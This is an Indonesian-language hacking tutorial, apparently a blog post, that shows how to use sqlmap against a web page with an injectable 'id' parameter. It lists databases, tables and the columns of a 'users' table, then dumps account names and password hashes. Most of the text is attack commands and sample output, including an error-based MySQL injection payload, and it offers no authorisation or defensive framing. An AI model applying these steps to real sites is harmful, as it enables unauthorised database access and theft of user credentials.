Sqlmap adalah salah satu alat sql injection paling populer dan powerfull. sqlmap dapat memanfaatkan remote database dan melakukan banyak hacking seperti mengekstrak nama database, tabel, kolom, semua data dalam tabel dll bahkan bisa membaca dan menulis file pada sistem file jarak jauh di bawah kondisi tertentu.Baca juga Bagaimana Cara Menjadi Hacker Profesional
Untuk memahami tutorial ini Anda harus memiliki pengetahuan yang mendalam tentang bagaimana database dan web aplikasi bekerja. Misalnya yang dibuat dengan php + mysql.
Katakanlah ada aplikasi web atau situs yang memiliki url di dalamnya seperti ini
http://www.vuln.com/section.php?id=51
dan rentan terhadap sql injection karena pengembang situs yang tidak benar memfilter parameter id. Hal ini dapat hanya diuji dengan mencoba untuk membuka url.
http://www.site.com/section.php?id=51'
Hacking Dengan sqlmap
Sekarang waktunya untuk beralih ke SqlMap hack url tersebut. Perintah sqlmap dijalankan dari terminal kali linux anda.
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51"
Di atas adalah yang pertama dan paling sederhana perintah untuk menjalankan dengan alat sqlmap. Ia memeriksa parameter masukan untuk menemukan jika mereka rentan terhadap injeksi sql atau tidak. Untuk sqlmap ini mengirimkan berbagai jenis muatan injeksi sql untuk parameter input dan memeriksa output. Dalam sqlmap proses ini juga mampu mengidentifikasi sistem remote os, nama database dan versi. Berikut adalah bagaimana output akan terlihat seperti
[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
Menemukan Database
Setelah sqlmap membenarkan bahwa url tersebut rentan terhadap sql injection dan bisa untuk dieksploitasi langkah berikutnya adalah untuk mengetahui nama-nama database yang ada pada sistem tersebut. dengan menambahkan perintah "--dbs" digunakan untuk mendapatkan daftar database.
Hasilnya bisa menjadi sesuatu seperti iniroot@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --dbs
[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,
(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
Sekarang waktunya untuk mencari tahu apa yang ada dalam tabel database tertentu. Katakanlah database menarik di sini adalah 'safecosmetics'
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --tables -D safecosmetics
dan hasilnya dapat menjadi sesuatu yang mirip dengan ini
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables
Memperoleh kolom tabel
Sekarang kita memiliki daftar tabel dengan kami, itu akan menjadi ide yang baik untuk mendapatkan kolom beberapa tabel penting. Katakanlah tabel tersebut adalah 'users' dan berisi username dan password.
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --columns -D safecosmetics -T users
Hasilnya dapat menjadi sesuatu seperti ini
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text
.......
[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column | Type |
+-------------------+--------------+
| email | text |
| hash | varchar(128) |
| id | int(11) |
| name | text |
| password | text |
| permission | tinyint(4) |
| system_allow_only | text |
| system_home | text |
+-------------------+--------------+
Mendapatkan data dari tabel
Sekarang sampai pada bagian yang paling menarik, penggalian data dari tabel. dengan perintah
root@kali:~# sqlmap -u "http://www.vuln.com/section.php?id=51" --dump -D safecosmetics -T users
Perintah di atas hanya akan membuang data dari tabel tertentu, sangat banyak seperti perintah mysqldump. Hasilnya mungkin terlihat seperti ini
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1 | 5DIpzzDHFOwnCvPonu | admin || | 3 | | |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+